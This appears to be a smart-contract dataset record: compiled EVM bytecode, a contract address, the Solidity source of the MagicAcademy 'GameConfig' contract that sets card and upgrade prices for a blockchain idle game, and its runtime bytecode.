73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161135c919061188a565b60405180910390a36113708360008461137a565b505050565b505050565b505050565b60008135905061138e81611df7565b92915050565b6000813590506113a381611e0e565b92915050565b6000602082840312156113bb57600080fd5b60006113c98482850161137f565b91505092915050565b600080604083850312156113e557600080fd5b60006113f38582860161137f565b92505060206114048582860161137f565b9150509250929050565b60008060006060848603121561142357600080fd5b60006114318682870161137f565b93505060206114428682870161137f565b925050604061145386828701611394565b9150509250925092565b6000806040838503121561147057600080fd5b600061147e8582860161137f565b925050602061148f85828601611394565b9150509250929050565b6114a281611966565b82525050565b6114b181611978565b82525050565b60006114c2826118c0565b6114cc81856118cb565b93506114dc8185602086016119bb565b6114e581611a7e565b840191505092915050565b60006114fd6023836118cb565b915061150882611a8f565b604082019050919050565b60006115206022836118cb565b915061152b82611ade565b604082019050919050565b60006115436026836118cb565b915061154e82611b2d565b604082019050919050565b60006115666022836118cb565b915061157182611b7c565b604082019050919050565b60006115896026836118cb565b915061159482611bcb565b604082019050919050565b60006115ac6028836118cb565b91506115b782611c1a565b604082019050919050565b60006115cf6020836118cb565b91506115da82611c69565b602082019050919050565b60006115f26021836118cb565b91506115fd82611c92565b604082019050919050565b60006116156025836118cb565b915061162082611ce1565b604082019050919050565b60006116386024836118cb565b915061164382611d30565b604082019050919050565b600061165b6025836118cb565b915061166682611d7f565b604082019050919050565b600061167e601f836118cb565b915061168982611dce565b602082019050919050565b61169d816119a4565b82525050565b6116ac816119ae565b82525050565b60006020820190506116c76000830184611499565b92915050565b60006020820190506116e260008301846114a8565b92915050565b6000602082019050818103600083015261170281846114b7565b905092915050565b60006020820190508181036000830152611723816114f0565b9050919050565b6000602082019050818103600083015261174381611513565b9050919050565b6000602082019050818103600083015261176381611536565b9050919050565b6000602082019050818103600083015261178381611559565b9050919050565b600060208201905081810360008301526117a38161157c565b9050919050565b600060208201905081810360008301526117c38161159f565b9050919050565b600060208201905081810360008301526117e3816115c2565b9050919050565b60006020820190508181036000830152611803816115e5565b9050919050565b6000602082019050818103600083015261182381611608565b9050919050565b600060208201905081810360008301526118438161162b565b9050919050565b600060208201905081810360008301526118638161164e565b9050919050565b6000602082019050818103600083015261188381611671565b9050919050565b600060208201905061189f6000830184611694565b92915050565b60006020820190506118ba60008301846116a3565b92915050565b600081519050919050565b600082825260208201905092915050565b60006118e7826119a4565b91506118f2836119a4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561192757611926611a20565b5b828201905092915050565b600061193d826119a4565b9150611948836119a4565b92508282101561195b5761195a611a20565b5b828203905092915050565b600061197182611984565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156119d95780820151818401526020810190506119be565b838111156119e8576000848401525b50505050565b60006002820490506001821680611a0657607f821691505b60208210811415611a1a57611a19611a4f565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b611e0081611966565b8114611e0b57600080fd5b50565b611e17816119a4565b8114611e2257600080fd5b5056fea264697066735822122082b97611559492f752b8ad0d943ae217b70828f3a793196a34d7249839478cfa64736f6c63430008040033
{"success": true, "error": null, "results": {}}
7,218
0xb16b21fa1984c1236cb5296cd3cce39db8bf79bc
pragma solidity ^0.4.18; /* ==================================================================== */ /* Copyright (c) 2018 The MagicAcademy Project. All rights reserved. /* /* https://www.magicacademy.io One of the world's first idle strategy games of blockchain /* /* authors rainy@livestar.com/fanny.zheng@livestar.com /* /* ==================================================================== */ contract GameConfig { using SafeMath for SafeMath; address public owner; /**event**/ event newCard(uint256 cardId,uint256 baseCoinCost,uint256 coinCostIncreaseHalf,uint256 ethCost,uint256 baseCoinProduction); event newBattleCard(uint256 cardId,uint256 baseCoinCost,uint256 coinCostIncreaseHalf,uint256 ethCost,uint256 attackValue,uint256 defenseValue,uint256 coinStealingCapacity); event newUpgradeCard(uint256 upgradecardId, uint256 coinCost, uint256 ethCost, uint256 upgradeClass, uint256 cardId, uint256 upgradeValue); struct Card { uint256 cardId; uint256 baseCoinCost; uint256 coinCostIncreaseHalf; // Halfed to make maths slightly less (cancels a 2 out) uint256 ethCost; uint256 baseCoinProduction; bool unitSellable; // Rare units (from raffle) not sellable } struct BattleCard { uint256 cardId; uint256 baseCoinCost; uint256 coinCostIncreaseHalf; // Halfed to make maths slightly less (cancels a 2 out) uint256 ethCost; uint256 attackValue; uint256 defenseValue; uint256 coinStealingCapacity; bool unitSellable; // Rare units (from raffle) not sellable } struct UpgradeCard { uint256 upgradecardId; uint256 coinCost; uint256 ethCost; uint256 upgradeClass; uint256 cardId; uint256 upgradeValue; } /** mapping**/ mapping(uint256 => Card) private cardInfo; //normal card mapping(uint256 => BattleCard) private battlecardInfo; //battle card mapping(uint256 => UpgradeCard) private upgradeInfo; //upgrade card uint256 public currNumOfCards = 9; uint256 public currNumOfBattleCards = 6; uint256 public currNumOfUpgrades; uint256 PLATPrice = 65000; string versionNo; // Constructor function GameConfig() public { owner = msg.sender; versionNo = "20180706"; cardInfo[1] = Card(1, 0, 10, 0, 2, true); cardInfo[2] = Card(2, 100, 50, 0, 5, true); cardInfo[3] = Card(3, 0, 0, 0.01 ether, 100, true); cardInfo[4] = Card(4, 200, 100, 0, 10, true); cardInfo[5] = Card(5, 500, 250, 0, 20, true); cardInfo[6] = Card(6, 1000, 500, 0, 40, true); cardInfo[7] = Card(7, 0, 1000, 0.05 ether, 500, true); cardInfo[8] = Card(8, 1500, 750, 0, 60, true); cardInfo[9] = Card(9, 0, 0, 0.99 ether, 5500, false); battlecardInfo[40] = BattleCard(40, 50, 25, 0, 10, 10, 10000, true); battlecardInfo[41] = BattleCard(41, 100, 50, 0, 1, 25, 500, true); battlecardInfo[42] = BattleCard(42, 0, 0, 0.01 ether, 200, 10, 50000, true); battlecardInfo[43] = BattleCard(43, 250, 125, 0, 25, 1, 15000, true); battlecardInfo[44] = BattleCard(44, 500, 250, 0, 20, 40, 5000, true); battlecardInfo[45] = BattleCard(45, 0, 2500, 0.02 ether, 0, 0, 100000, true); //InitUpgradeCard(); } modifier onlyOwner() { require(msg.sender == owner); _; } function setPLATPrice(uint256 price) external onlyOwner { PLATPrice = price; } function getPLATPrice() external view returns (uint256) { return PLATPrice; } function getVersion() external view returns(string) { return versionNo; } function InitUpgradeCard() external onlyOwner { //upgradecardId,coinCost,ethCost,upgradeClass,cardId,upgradeValue; CreateUpgradeCards(1,500,0,0,1,1); CreateUpgradeCards(2 ,0,0.02 ether,1,1,1); CreateUpgradeCards(3,0,0.1 ether,8,1,999); CreateUpgradeCards(4,0,0.02 ether,0,2,2); CreateUpgradeCards(5,5000,0,1,2,5); CreateUpgradeCards(6,0,0.1 ether,8,2,999); CreateUpgradeCards(7,5000,0,0,3,5); CreateUpgradeCards(8,0,0.1 ether,1,3,5); CreateUpgradeCards(9,5000000,0,8,3,999); CreateUpgradeCards(10,0,0.02 ether,0,4,4); CreateUpgradeCards(11,10000,0,1,4,5); CreateUpgradeCards(12,0,0.1 ether,8,4,999); CreateUpgradeCards(13,15000,0,0,5,6); CreateUpgradeCards(14,0,0.25 ether,1,5,5); CreateUpgradeCards(15,0,0.1 ether,8,5,999); CreateUpgradeCards(16,0,0.02 ether,0,6,8); CreateUpgradeCards(17,30000,0,1,6,5); CreateUpgradeCards(18,0,0.1 ether,8,6,999); CreateUpgradeCards(19,35000,0,0,7,25); CreateUpgradeCards(20,0,0.05 ether,1,7,5); CreateUpgradeCards(21,5000000,0,8,7,999); CreateUpgradeCards(22,0,0.02 ether,0,8,10); CreateUpgradeCards(23,75000,0,1,8,5); CreateUpgradeCards(24,0,0.1 ether,8,8,999); //for battle cards CreateUpgradeCards(25,1000,0,2,40,5); CreateUpgradeCards(26,2500,0,4,40,5); CreateUpgradeCards(27,50000000,0,8,40,999); CreateUpgradeCards(28,2500,0,4,41,5); CreateUpgradeCards(29,5000,0,5,41,5); CreateUpgradeCards(30,50000000,0,8,41,999); CreateUpgradeCards(31,5000,0,2,42,10); CreateUpgradeCards(32,7500,0,3,42,5); CreateUpgradeCards(33,5000000,0,8,42,999); CreateUpgradeCards(34,7500,0,2,43,5); CreateUpgradeCards(35,10000,0,6,43,1000); CreateUpgradeCards(36,50000000,0,8,43,999); CreateUpgradeCards(37,10000,0,3,44,5); CreateUpgradeCards(38,15000,0,5,44,5); CreateUpgradeCards(39,50000000,0,8,44,999); CreateUpgradeCards(40,25000,0,6,45,10000); CreateUpgradeCards(41,50000,0,7,45,5); CreateUpgradeCards(42,5000000,0,8,45,999); } function CreateBattleCards(uint256 _cardId, uint256 _baseCoinCost, uint256 _coinCostIncreaseHalf, uint256 _ethCost, uint _attackValue, uint256 _defenseValue, uint256 _coinStealingCapacity, bool _unitSellable) public onlyOwner { BattleCard memory _battlecard = BattleCard({ cardId: _cardId, baseCoinCost: _baseCoinCost, coinCostIncreaseHalf: _coinCostIncreaseHalf, ethCost: _ethCost, attackValue: _attackValue, defenseValue: _defenseValue, coinStealingCapacity: _coinStealingCapacity, unitSellable: _unitSellable }); battlecardInfo[_cardId] = _battlecard; currNumOfBattleCards = SafeMath.add(currNumOfBattleCards,1); newBattleCard(_cardId,_baseCoinCost,_coinCostIncreaseHalf,_ethCost,_attackValue,_defenseValue,_coinStealingCapacity); } function CreateCards(uint256 _cardId, uint256 _baseCoinCost, uint256 _coinCostIncreaseHalf, uint256 _ethCost, uint256 _baseCoinProduction, bool _unitSellable) public onlyOwner { Card memory _card = Card({ cardId: _cardId, baseCoinCost: _baseCoinCost, coinCostIncreaseHalf: _coinCostIncreaseHalf, ethCost: _ethCost, baseCoinProduction: _baseCoinProduction, unitSellable: _unitSellable }); cardInfo[_cardId] = _card; currNumOfCards = SafeMath.add(currNumOfCards,1); newCard(_cardId,_baseCoinCost,_coinCostIncreaseHalf,_ethCost,_baseCoinProduction); } function CreateUpgradeCards(uint256 _upgradecardId, uint256 _coinCost, uint256 _ethCost, uint256 _upgradeClass, uint256 _cardId, uint256 _upgradeValue) public onlyOwner { UpgradeCard memory _upgradecard = UpgradeCard({ upgradecardId: _upgradecardId, coinCost: _coinCost, ethCost: _ethCost, upgradeClass: _upgradeClass, cardId: _cardId, upgradeValue: _upgradeValue }); upgradeInfo[_upgradecardId] = _upgradecard; currNumOfUpgrades = SafeMath.add(currNumOfUpgrades,1); newUpgradeCard(_upgradecardId,_coinCost,_ethCost,_upgradeClass,_cardId,_upgradeValue); } function getCostForCards(uint256 cardId, uint256 existing, uint256 amount) public constant returns (uint256) { uint256 icount = existing; if (amount == 1) { if (existing == 0) { return cardInfo[cardId].baseCoinCost; } else { return cardInfo[cardId].baseCoinCost + (existing * cardInfo[cardId].coinCostIncreaseHalf * 2); } } else if (amount > 1) { uint256 existingCost; if (existing > 0) { existingCost = (cardInfo[cardId].baseCoinCost * existing) + (existing * (existing - 1) * cardInfo[cardId].coinCostIncreaseHalf); } icount = SafeMath.add(existing,amount); uint256 newCost = SafeMath.add(SafeMath.mul(cardInfo[cardId].baseCoinCost, icount), SafeMath.mul(SafeMath.mul(icount, (icount - 1)), cardInfo[cardId].coinCostIncreaseHalf)); return newCost - existingCost; } } function getCostForBattleCards(uint256 cardId, uint256 existing, uint256 amount) public constant returns (uint256) { uint256 icount = existing; if (amount == 1) { if (existing == 0) { return battlecardInfo[cardId].baseCoinCost; } else { return battlecardInfo[cardId].baseCoinCost + (existing * battlecardInfo[cardId].coinCostIncreaseHalf * 2); } } else if (amount > 1) { uint256 existingCost; if (existing > 0) { existingCost = (battlecardInfo[cardId].baseCoinCost * existing) + (existing * (existing - 1) * battlecardInfo[cardId].coinCostIncreaseHalf); } icount = SafeMath.add(existing,amount); uint256 newCost = SafeMath.add(SafeMath.mul(battlecardInfo[cardId].baseCoinCost, icount), SafeMath.mul(SafeMath.mul(icount, (icount - 1)), battlecardInfo[cardId].coinCostIncreaseHalf)); return newCost - existingCost; } } function getCostForUprade(uint256 cardId, uint256 existing, uint256 amount) public constant returns (uint256) { if (amount == 1) { if (existing == 0) { return upgradeInfo[cardId].coinCost; } else if (existing == 1 || existing == 4){ return 0; }else if (existing == 2) { return upgradeInfo[cardId].coinCost * 50; }else if (existing == 3) { return upgradeInfo[cardId].coinCost * 50 * 40; }else if (existing == 5) { return upgradeInfo[cardId].coinCost * 50 * 40 * 30; } } } function getWeakenedDefensePower(uint256 defendingPower) external pure returns (uint256) { return SafeMath.div(defendingPower,2); } /// @notice get the production card's ether cost function unitEthCost(uint256 cardId) external constant returns (uint256) { return cardInfo[cardId].ethCost; } /// @notice get the battle card's ether cost function unitBattleEthCost(uint256 cardId) external constant returns (uint256) { return battlecardInfo[cardId].ethCost; } /// @notice get the battle card's plat cost function unitBattlePLATCost(uint256 cardId) external constant returns (uint256) { return SafeMath.mul(battlecardInfo[cardId].ethCost,PLATPrice); } /// @notice normal production plat value function unitPLATCost(uint256 cardId) external constant returns (uint256) { return SafeMath.mul(cardInfo[cardId].ethCost,PLATPrice); } function unitCoinProduction(uint256 cardId) external constant returns (uint256) { return cardInfo[cardId].baseCoinProduction; } function unitAttack(uint256 cardId) external constant returns (uint256) { return battlecardInfo[cardId].attackValue; } function unitDefense(uint256 cardId) external constant returns (uint256) { return battlecardInfo[cardId].defenseValue; } function unitStealingCapacity(uint256 cardId) external constant returns (uint256) { return battlecardInfo[cardId].coinStealingCapacity; } function productionCardIdRange() external constant returns (uint256, uint256) { return (1, currNumOfCards); } function battleCardIdRange() external constant returns (uint256, uint256) { uint256 battleMax = SafeMath.add(39,currNumOfBattleCards); return (40, battleMax); } function upgradeIdRange() external constant returns (uint256, uint256) { return (1, currNumOfUpgrades); } function getcurrNumOfCards() external view returns (uint256) { return currNumOfCards; } function getcurrNumOfUpgrades() external view returns (uint256) { return currNumOfUpgrades; } // get the detail info of card function getCardsInfo(uint256 cardId) external constant returns ( uint256 baseCoinCost, uint256 coinCostIncreaseHalf, uint256 ethCost, uint256 baseCoinProduction, uint256 platCost, bool unitSellable ) { baseCoinCost = cardInfo[cardId].baseCoinCost; coinCostIncreaseHalf = cardInfo[cardId].coinCostIncreaseHalf; ethCost = cardInfo[cardId].ethCost; baseCoinProduction = cardInfo[cardId].baseCoinProduction; platCost = SafeMath.mul(ethCost,PLATPrice); unitSellable = cardInfo[cardId].unitSellable; } //for production card function getCardInfo(uint256 cardId, uint256 existing, uint256 amount) external view returns (uint256, uint256, uint256, uint256, bool) { return (cardInfo[cardId].cardId, cardInfo[cardId].baseCoinProduction, getCostForCards(cardId, existing, amount), SafeMath.mul(cardInfo[cardId].ethCost, amount), cardInfo[cardId].unitSellable); } //for battle card function getBattleCardInfo(uint256 cardId, uint256 existing, uint256 amount) external constant returns (uint256, uint256, uint256, bool) { return (battlecardInfo[cardId].cardId, getCostForBattleCards(cardId, existing, amount), SafeMath.mul(battlecardInfo[cardId].ethCost, amount), battlecardInfo[cardId].unitSellable); } //Battle Cards function getBattleCardsInfo(uint256 cardId) external constant returns ( uint256 baseCoinCost, uint256 coinCostIncreaseHalf, uint256 ethCost, uint256 attackValue, uint256 defenseValue, uint256 coinStealingCapacity, uint256 platCost, bool unitSellable ) { baseCoinCost = battlecardInfo[cardId].baseCoinCost; coinCostIncreaseHalf = battlecardInfo[cardId].coinCostIncreaseHalf; ethCost = battlecardInfo[cardId].ethCost; attackValue = battlecardInfo[cardId].attackValue; defenseValue = battlecardInfo[cardId].defenseValue; coinStealingCapacity = battlecardInfo[cardId].coinStealingCapacity; platCost = SafeMath.mul(ethCost,PLATPrice); unitSellable = battlecardInfo[cardId].unitSellable; } function getUpgradeInfo(uint256 upgradeId) external constant returns (uint256 coinCost, uint256 ethCost, uint256 upgradeClass, uint256 cardId, uint256 upgradeValue, uint256 platCost) { coinCost = upgradeInfo[upgradeId].coinCost; ethCost = upgradeInfo[upgradeId].ethCost; upgradeClass = upgradeInfo[upgradeId].upgradeClass; cardId = upgradeInfo[upgradeId].cardId; upgradeValue = upgradeInfo[upgradeId].upgradeValue; platCost = SafeMath.mul(ethCost,PLATPrice); } //upgrade cards function getUpgradeCardsInfo(uint256 upgradecardId, uint256 existing) external constant returns ( uint256 coinCost, uint256 ethCost, uint256 upgradeClass, uint256 cardId, uint256 upgradeValue, uint256 platCost ) { coinCost = upgradeInfo[upgradecardId].coinCost; ethCost = upgradeInfo[upgradecardId].ethCost; upgradeClass = upgradeInfo[upgradecardId].upgradeClass; cardId = upgradeInfo[upgradecardId].cardId; if (upgradeClass==8) { upgradeValue = upgradeInfo[upgradecardId].upgradeValue; if (ethCost>0) { if (existing==1) { ethCost = 0.2 ether; } else if (existing==2) { ethCost = 0.5 ether; } } else { bool bf = false; if (upgradecardId == 27 || upgradecardId==30 || upgradecardId==36) { bf = true; } if (bf == true) { if (existing==1) { coinCost = 0; ethCost = 0.1 ether; } else if (existing==2) { coinCost = 0; ethCost = 0.1 ether; } }else{ if (existing==1) { coinCost = coinCost * 10; } else if (existing==2) { coinCost = coinCost * 100; } } } if (existing ==1) { upgradeValue = 9999; }else if (existing==2){ upgradeValue = 99999; } } else { uint8 uflag; if (coinCost >0 ) { if (upgradeClass ==0 || upgradeClass ==1 || upgradeClass == 3) { uflag = 1; } else if (upgradeClass==2 || upgradeClass == 4 || upgradeClass==5 || upgradeClass==7) { uflag = 2; } } if (coinCost>0 && existing>=1) { coinCost = getCostForUprade(upgradecardId, existing, 1); } if (ethCost>0) { if (upgradecardId == 2) { if (existing>=1) { ethCost = SafeMath.mul(ethCost,2); } } } else { if ((existing ==1 || existing ==4)) { if (ethCost<=0) { ethCost = 0.1 ether; coinCost = 0; } } } upgradeValue = upgradeInfo[upgradecardId].upgradeValue; if (ethCost>0) { if (uflag==1) { upgradeValue = upgradeInfo[upgradecardId].upgradeValue * 2; } else if (uflag==2) { upgradeValue = upgradeInfo[upgradecardId].upgradeValue * 4; } else { if (upgradeClass == 6){ if (upgradecardId == 27){ upgradeValue = upgradeInfo[upgradecardId].upgradeValue * 5; } else if (upgradecardId == 40) { upgradeValue = upgradeInfo[upgradecardId].upgradeValue * 3; } } } } } platCost = SafeMath.mul(ethCost,PLATPrice); } } library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
0x6060604052600436106101ab5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306201ad981146101b05780630d8e6e2c146101d557806314d9d2e51461025f57806321446cfe1461027b57806328a42e9d146102915780632df56bb2146102e0578063320cffcd146102f6578063436fdc0e146103125780636101a1f71461036f578063625785bb1461038557806369632f56146103b0578063702123ae146103c6578063709e6ed4146103dc57806373f9421d146103ef5780637ef2bd52146104085780638da5cb5b1461041b57806394b67b1c1461044a5780639779e13514610460578063a8aeecd914610487578063b2570b1c146104a3578063b3082d25146104eb578063b6206e6714610512578063c3192c8214610528578063cf0f864e1461053b578063deec4c201461054e578063e2a9bb531461059d578063e76f0836146105ca578063e8f4bc12146105dd578063e968e1ec146105f0578063ee4827ea14610606578063ee9cebde14610653578063f34e4c6014610669578063f56106681461067c578063fbe45b481461068f575b600080fd5b34156101bb57600080fd5b6101c36106a5565b60405190815260200160405180910390f35b34156101e057600080fd5b6101e86106ab565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561022457808201518382015260200161020c565b50505050905090810190601f1680156102515780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561026a57600080fd5b6101c3600435602435604435610753565b341561028657600080fd5b6101c360043561080a565b341561029c57600080fd5b6102a760043561081f565b60405180878152602001868152602001858152602001848152602001838152602001828152602001965050505050505060405180910390f35b34156102eb57600080fd5b6101c3600435610869565b341561030157600080fd5b6101c360043560243560443561087e565b341561031d57600080fd5b61032860043561097f565b60405197885260208801969096526040808801959095526060870193909352608086019190915260a085015260c084015290151560e0830152610100909101905180910390f35b341561037a57600080fd5b6101c36004356109f6565b341561039057600080fd5b610398610a0b565b60405191825260208201526040908101905180910390f35b34156103bb57600080fd5b6101c3600435610a13565b34156103d157600080fd5b6101c3600435610a28565b34156103e757600080fd5b610398610a3d565b34156103fa57600080fd5b6102a7600435602435610a45565b341561041357600080fd5b6101c3610d2d565b341561042657600080fd5b61042e610d33565b604051600160a060020a03909116815260200160405180910390f35b341561045557600080fd5b6101c3600435610d42565b341561046b57600080fd5b61048560043560243560443560643560843560a435610d55565b005b341561049257600080fd5b6101c3600435602435604435610e70565b34156104ae57600080fd5b6104bf600435602435604435610f59565b604051938452602084019290925260408084019190915290151560608301526080909101905180910390f35b34156104f657600080fd5b61048560043560243560443560643560843560a4351515610fbc565b341561051d57600080fd5b6101c36004356110e0565b341561053357600080fd5b6101c36110ff565b341561054657600080fd5b610398611105565b341561055957600080fd5b610564600435611122565b60405195865260208601949094526040808601939093526060850191909152608084015290151560a083015260c0909101905180910390f35b34156105a857600080fd5b61048560043560243560443560643560843560a43560c43560e4351515611184565b34156105d557600080fd5b6101c36112d9565b34156105e857600080fd5b6104856112df565b34156105fb57600080fd5b6104856004356116cf565b341561061157600080fd5b6106226004356024356044356116ef565b60405194855260208501939093526040808501929092526060840152901515608083015260a0909101905180910390f35b341561065e57600080fd5b6101c360043561175e565b341561067457600080fd5b6101c3611773565b341561068757600080fd5b6101c3611779565b341561069a57600080fd5b6101c360043561177f565b60075490565b6106b36117f6565b60088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107495780601f1061071e57610100808354040283529160200191610749565b820191906000526020600020905b81548152906001019060200180831161072c57829003601f168201915b5050505050905090565b600081600114156108035782151561077d5750600083815260036020526040902060010154610803565b826001148061078c5750826004145b1561079957506000610803565b82600214156107bd5750600083815260036020526040902060010154603202610803565b82600314156107e257506000838152600360205260409020600101546107d002610803565b8260051415610803575060008381526003602052604090206001015461ea60025b9392505050565b60009081526002602052604090206005015490565b6000818152600360208190526040822060018101546002820154928201546004830154600590930154600754929591939290919061085e90869061179a565b905091939550919395565b60009081526002602052604090206003015490565b600082818060018514156108d7578515156108ad57600087815260016020819052604090912001549350610975565b60008781526001602081905260409091206002808201549190920154908802909102019350610975565b600185111561097557600086111561091257600087815260016020819052604090912060028101549101548702600019880188029091020191505b61091c86866117d0565b925061096d610941600160008a8152602001908152602001600020600101548561179a565b610968610951866001880361179a565b60008b81526001602052604090206002015461179a565b6117d0565b905081810393505b5050509392505050565b600081815260026020819052604082206001810154918101546003820154600483015460058401546006909401546007549596939592949193919290919081906109ca90879061179a565b6000998a526002602052604090992060070154979996989597949693959294929360ff90931692915050565b60009081526002602052604090206006015490565b600454600191565b60009081526002602052604090206004015490565b60009081526001602052604090206004015490565b600654600191565b60008281526003602081905260408220600181015460028201549282015460049092015490938080806008861415610b7e5760008a8152600360205260408120600501549450871115610ac5578860011415610aab576702c68af0bb1400009650610ac0565b8860021415610ac0576706f05b59d3b2000096505b610b56565b6000915089601b1480610ad8575089601e145b80610ae35750896024145b15610aed57600191505b60018215151415610b32578860011415610b15576000975067016345785d8a00009650610ac0565b8860021415610ac0576000975067016345785d8a00009650610b56565b8860011415610b465787600a029750610b56565b8860021415610b56578760640297505b8860011415610b695761270f9350610b79565b8860021415610b79576201869f93505b610d13565b6000881115610bda57851580610b945750856001145b80610b9f5750856003145b15610bac57506001610bda565b8560021480610bbb5750856004145b80610bc65750856005145b80610bd15750856007145b15610bda575060025b600088118015610beb575060018910155b15610bff57610bfc8a8a6001610753565b97505b6000871115610c2c578960021415610c275760018910610c2757610c2487600261179a565b96505b610c58565b8860011480610c3b5750886004145b15610c585760008711610c585767016345785d8a00009650600097505b60008a8152600360205260408120600501549450871115610d13578060ff1660011415610c9b5760008a8152600360205260409020600501546002029350610d13565b8060ff1660021415610cc35760008a8152600360205260409020600501546004029350610d13565b8560061415610d135789601b1415610cf15760008a8152600360205260409020600590810154029350610d13565b8960281415610d135760008a8152600360208190526040909120600501540293505b610d1f8760075461179a565b925050509295509295509295565b60065481565b600054600160a060020a031681565b6000610d4f8260026117df565b92915050565b610d5d611808565b60005433600160a060020a03908116911614610d7857600080fd5b60c0604051908101604052808881526020018781526020018681526020018581526020018481526020018381525090508060036000898152602001908152602001600020600082015181556020820151816001015560408201518160020155606082015181600301556080820151816004015560a08201518160050155905050610e0560065460016117d0565b6006557f175fd58938d4b569aa831d3814e210cc8feabcdd98371c021781d43b762c484587878787878760405180878152602001868152602001858152602001848152602001838152602001828152602001965050505050505060405180910390a150505050505050565b60008281806001851415610ec757851515610e9e576000878152600260205260409020600101549350610975565b600087815260026020819052604090912080820154600190910154908802909102019350610975565b6001851115610975576000861115610f04576000878152600260208190526040909120908101546001909101548702600019880188029091020191505b610f0e86866117d0565b60008881526002602052604090206001015490935061096d90610f31908561179a565b610968610f41866001880361179a565b60008b8152600260208190526040909120015461179a565b600083815260026020526040812054819081908190610f79888888610e70565b600089815260026020526040902060030154610f95908861179a565b6000998a52600260205260409099206007015491999098975060ff90911695509350505050565b610fc461183f565b60005433600160a060020a03908116911614610fdf57600080fd5b60c06040519081016040528088815260200187815260200186815260200185815260200184815260200183151581525090508060016000898152602001908152602001600020600082015181556020820151816001015560408201518160020155606082015181600301556080820151816004015560a0820151600591909101805460ff19169115159190911790555060045461107d9060016117d0565b6004557f8489b0e11d035c8f69ba1c9b68efc99db3617f3156516169215477683e7eccf48787878787604051808681526020018581526020018481526020018381526020018281526020019550505050505060405180910390a150505050505050565b600081815260026020526040812060030154600754610d4f919061179a565b60065490565b600080600061111760276005546117d0565b602894909350915050565b6000818152600160208190526040822090810154600282015460038301546004909301546007549294919392909190819061115e90859061179a565b60009788526001602052604090972060050154959794969395929460ff90931692915050565b61118c611878565b60005433600160a060020a039081169116146111a757600080fd5b610100604051908101604052808a8152602001898152602001888152602001878152602001868152602001858152602001848152602001831515815250905080600260008b8152602001908152602001600020600082015181556020820151816001015560408201518160020155606082015181600301556080820151816004015560a0820151816005015560c0820151816006015560e0820151600791909101805460ff1916911515919091179055506005546112669060016117d0565b6005557f56f532faf1224d55677ede7c8d90b6193dfe13e9b9623e69f6de25d3dbf1a5c28989898989898960405196875260208701959095526040808701949094526060860192909252608085015260a084015260c083019190915260e0909101905180910390a1505050505050505050565b60045490565b60005433600160a060020a039081169116146112fa57600080fd5b61130d60016101f4600080600180610d55565b6113266002600066470de4df8200006001806001610d55565b6113426003600067016345785d8a0000600860016103e7610d55565b61135b6004600066470de4df8200006000600280610d55565b61137060056113886000600160026005610d55565b61138c6006600067016345785d8a0000600860026103e7610d55565b6113a0600761138860008060036005610d55565b6113bb6008600067016345785d8a0000600160036005610d55565b6113d26009624c4b406000600860036103e7610d55565b6113eb600a600066470de4df8200006000600480610d55565b611400600b6127106000600160046005610d55565b61141c600c600067016345785d8a0000600860046103e7610d55565b611430600d613a9860008060056006610d55565b61144a600e60006703782dace9d900006001600580610d55565b611466600f600067016345785d8a0000600860056103e7610d55565b6114806010600066470de4df820000600060066008610d55565b61149560116175306000600160066005610d55565b6114b16012600067016345785d8a0000600860066103e7610d55565b6114c560136188b860008060076019610d55565b6114df6014600066b1a2bc2ec50000600160076005610d55565b6114f66015624c4b406000600860076103e7610d55565b6115106016600066470de4df82000060006008600a610d55565b6115266017620124f86000600160086005610d55565b6115416018600067016345785d8a00006008806103e7610d55565b61155660196103e86000600260286005610d55565b61156b601a6109c46000600460286005610d55565b611583601b6302faf0806000600860286103e7610d55565b611598601c6109c46000600460296005610d55565b6115ad601d6113886000600560296005610d55565b6115c5601e6302faf0